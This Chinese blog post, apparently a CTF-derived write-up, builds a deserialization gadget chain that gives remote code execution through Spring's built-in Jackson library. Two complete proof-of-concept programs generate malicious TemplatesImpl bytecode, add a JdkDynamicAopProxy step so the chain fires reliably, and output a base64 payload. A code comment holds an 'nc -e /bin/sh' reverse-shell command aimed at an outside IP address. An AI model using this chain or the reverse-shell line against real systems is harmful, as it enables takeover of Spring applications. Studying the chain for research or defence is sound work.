Spring-Jackson原生链
去年阿里云CTF bypassit1 爆出来一个链子,只需要Spring内置的Jackson依赖就可以实现RCE而不依赖任何其他外部库。
在Jackson通过writeValueAsString将对象转为JSON字符串的时候,获取对象属性的时候会自动调用其getter方法。
演示一个完整的序列化和返序列化JSON的过程:
package org.example; import com.fasterxml.jackson.databind.ObjectMapper; @SuppressWarnings("ALL") public class Main { public static void main(String[] args) throws Exception { cat cat1 = new cat(new catinfo("JiaFei","Jerry",1)); System.out.println("原本的对象:"+cat1); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String jsonData = mapper.writeValueAsString(cat1); System.out.println("序列化的数据:"+jsonData); // cat cat2 = mapper.readValue(jsonData, cat.class); System.out.println("反序列化后的数据:"+cat2); } } class animal { public String name; public int sex; public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getSex() { System.out.println("getSex"); return sex; } public void setSex(int sex) { System.out.println("setSex"); this.sex = sex; } public animal() { System.out.println("animal无参构造"); } public animal(String name, int sex) { System.out.println("animal带参构造"); this.name = name; this.sex = sex; } @Override public String toString() { return "animal{" + "name='" + name + '\'' + ", sex=" + sex + '}'; } } class catinfo extends animal{ public String kind; @Override public String toString() { return "catinfo{" + "kind='" + kind + '\'' + ", name='" + name + '\'' + ", sex=" + sex + '}'; } public String getKind() { System.out.println("getKind"); return kind; } public void setKind(String kind) { System.out.println("setKind"); this.kind = kind; } public catinfo(String kind, String name, int sex) { super(name, sex); System.out.println("catinfo带参构造"); this.kind = kind; } public catinfo() { System.out.println("catinfo无参构造"); } } class cat { public cat() { System.out.println("cat无参构造"); } public animal info; public animal getInfo() { System.out.println("getInfo"); return info; } public void setInfo(animal info) { System.out.println("setInfo"); this.info = info; } public cat(animal cati) { System.out.println("cat带参构造"); this.info = cati; } @Override public String toString() { return "cat{" + "info=" + info + '}'; } }
如果我们能控制靶机JSON序列化一个恶意对象,就可以做到调用任意现有类的所有属性的getter方法
而在templatesImpl的一个getter方法getOutputProperties中:
有newTransformer方法,也就是会继续往下执行到defineClass来创建任意类,达到我们的目的。
因此现在要想办法找到从一个类的readObject方法作为入口,来执行JSON序列化任意对象。
ArrayNode是Jackson库中的一个类,用于表示JSON数组。
继承了祖先类BaseJsonNode,而BaseJsonNode重写了toString方法
该toString会把json数组中的每一个对象执行JSON序列化,返回String类型
而BadAttributeValueExpException的readObject方法中,可以执行一个可控对象的toString
因此我们只需要将恶意的templatesImpl传入ArrayNode数组,将数组设为BadAttributeValueExpException的属性val,去反序列化该BadAttributeValueExpException对象即可。
看到BadAttributeValueExpException的构造方法:
会把我们传入的对象进行toString再传给val。为了让val获取原始的ArrayNode对象,需要使用反射来构造BadAttributeValueExpException对象
POC:
package org.example; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.ArrayNode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; public class Test { public static void serialize(Object obj) throws Exception { ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt")); objo.writeObject(obj); } public static void unserialize() throws Exception{ ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt")); obji.readObject(); } public static byte[][] generateEvilBytes() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte[][] evilbyte = new byte[][]{cc.toBytecode()}; return evilbyte; } public static <T> void setValue(Object obj,String fname,T f) throws Exception{ Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj,f); } public static void main(String args[]) throws Exception{ TemplatesImpl tmp = new TemplatesImpl(); setValue(tmp,"_tfactory",new TransformerFactoryImpl()); setValue(tmp,"_name","123"); setValue(tmp,"_bytecodes",generateEvilBytes()); ObjectMapper objmapper = new ObjectMapper(); ArrayNode arrayNode =objmapper.createArrayNode(); arrayNode.addPOJO(tmp); BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制 Field f = BadAttributeValueExpException.class.getDeclaredField("val"); f.setAccessible(true); f.set(bave,arrayNode); serialize(bave); unserialize(); } }
在进行serialize(bave);的时候报了个错
跟进一下错误,是因为在writeObject序列化ArrayNode对象的时候,由于祖先类BaseJsonNode有writeReplace方法会替代原始的对象序列化方法,序列化成其他格式的数据,而在这过程中抛出了异常。
只需要把包内的writeReplace方法名改一改就可以了,直接用插件JarEditor
https://github.com/Liubsyy/JarEditor
这样解决了报错,并且保证了我们序列化的是原始构造的对象。
运行POC,成功弹计算器
解决链子不稳定的问题
在反序列化时,有时会在执行命令之前报出这个空指针的错
这是因为在BaseJsonNode.toString序列化POJONode的时候,调用getter方法的顺序是随机的。由于getter方法是通过反射调用,而反射机制中getDeclaredMethod获取的方法数组内,方法的顺序是随机的
这就导致反序列化时,执行TemplatesImpl对象的getter方法的顺序是不确定的,如果在执行getOutPutProperty前,先执行了getStylesheetDOM方法
这时候_sdom为null会导致报错,中断整个链子的反序列化过程。
我们希望最先执行的getter方法是getOutPutProperty,怎么实现呢
看到TemplatesImpl实现的接口Templates
只有newTransformer和getOutputProperties方法
如果我们能让一个代理对象以这个接口去动态代理我们的TemplatesImpl,将代理对象传入链子来进行JSON的序列化,那么JSON序列化就只能从这个接口中获取getter方法,也就是只能获取到getOutputProperties,实现目的
现在只需要找到一个依赖中的代理处理(handler)类,它的invoke可以执行被代理的方法本身即可。
找到org.springframework.aop.framework.JdkDynamicAopProxy,实现了InvocationHandler接口
看到invoke方法,这里有两处invokeJoinpointUsingReflection方法执行
跟进,看到method.invoke方法执行
参数就是invokeJoinpointUsingReflection方法里的target,method,args
调试得到可以直接执行的是下面那一个invokeJoinpointUsingReflection方法
给的target参数是targetSource.getTarget()
targetSource是this.advised.targetSource
advised是一个AdvisedSupport类的对象
AdvisedSupport类中,有setTarget和setTargetSource
可以利用setTarget把targetSource设为一个以参数构造的SingletonTargetSource类对象
跟进这个类的构造方法
可以看到getTarget就换返回target对象,在之前的invokeJoinpointUsingReflection方法中作为target参数,
在JdkDynamicAopProxy类的构造器中,接受AdvisedSupport类型的参数设为advised
因此我们只需要构造AdvisedSupport对象,执行其setTarget方法传入我们的TemplatesImpl对象即可,然后再将AdvisedSupport用于传入JdkDynamicAopProxy构造方法,即可构造出动态代理需要的handler
AdvisedSupport support = new AdvisedSupport(); support.setTarget(tmp); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
把使用此handler的代理对象传入BadAttributeValueExpException对象即可实现稳定触发。完整POC:
package org.example; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.ArrayNode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64; public class Test { public static void serialize(Object obj) throws Exception { ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt")); objo.writeObject(obj); } public static void unserialize() throws Exception{ ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt")); obji.readObject(); } public static byte[][] generateEvilBytes() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; //nc -e /bin/sh 121.199.39.4 3000 cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte[][] evilbyte = new byte[][]{cc.toBytecode()}; return evilbyte; } public static <T> void setValue(Object obj,String fname,T f) throws Exception{ Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj,f); } public static String getb64(Object obj) throws Exception{ ByteArrayOutputStream bout = new ByteArrayOutputStream(); ObjectOutputStream objout = new ObjectOutputStream(bout); objout.writeObject(obj); String base64 = Base64.getEncoder().encodeToString(bout.toByteArray()); return base64; } public static void main(String args[]) throws Exception{ //构造恶意TemplatesImpl TemplatesImpl tmp = new TemplatesImpl(); setValue(tmp,"_tfactory",new TransformerFactoryImpl()); setValue(tmp,"_name","123"); setValue(tmp,"_bytecodes",generateEvilBytes()); //不稳定的触发 // ObjectMapper objmapper = new ObjectMapper(); // ArrayNode arrayNode =objmapper.createArrayNode(); // arrayNode.addPOJO(tmp); // BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制 // Field f = BadAttributeValueExpException.class.getDeclaredField("val"); // f.setAccessible(true); // f.set(bave,arrayNode); // serialize(bave); // System.out.println(getb64(bave)); // System.out.println(getb64(bave).length()); // unserialize(); //稳定触发 AdvisedSupport support = new AdvisedSupport(); support.setTarget(tmp); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(support); Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler); ObjectMapper objmapper = new ObjectMapper(); ArrayNode arrayNode =objmapper.createArrayNode(); arrayNode.addPOJO(proxy); BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制 Field f = BadAttributeValueExpException.class.getDeclaredField("val"); f.setAccessible(true); f.set(bave,arrayNode); serialize(bave); System.out.println(getb64(bave)); System.out.println(getb64(bave).length()); unserialize(); } }
Comments NOTHING